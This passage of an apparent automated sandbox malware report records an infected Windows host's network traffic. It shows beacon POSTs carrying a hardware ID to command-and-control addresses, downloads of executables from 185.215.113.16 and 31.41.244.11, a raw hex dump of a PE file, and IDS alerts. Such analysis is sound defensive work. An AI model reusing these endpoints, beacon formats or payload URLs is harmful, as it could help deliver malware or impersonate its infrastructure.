cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:47:07 GMTContent-Type: application/octet-streamContent-Length: 334848Last-Modified: Wed, 30 Oct 2024 07:33:14 GMTConnection: keep-aliveETag: "6721e13a-51c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 a7 cd 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 d4 00 00 00 00 00 00 b0 d0 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 52 80 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 05 00 80 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 81 04 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 42 04 00 00 10 00 00 00 44 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 27 25 00 00 00 60 04 00 00 26 00 00 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 f5 00 00 00 90 04 00 00 62 00 00 00 6e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 80 4b 00 00 00 90 05 00 00 4c 00 00 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002596001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002597001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 43 38 44 46 42 44 37 45 43 45 32 39 31 34 36 34 38 33 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="hwid"C2C8DFBD7ECE2914648374------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="build"tale------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002598001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 43 38 44 46 42 44 37 45 43 45 32 39 31 34 36 34 38 33 37 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"C2C8DFBD7ECE2914648374------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"tale------DGCBAFIJDGHCAKECAEGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002599001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/test.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002600001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49758 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:58190 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:58193 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:58200 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:58204 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:58207 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:58207 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:58221 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 17_2_0042BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

17_2_0042BE30

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/test.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2953297308.000001DF202C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2090E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", 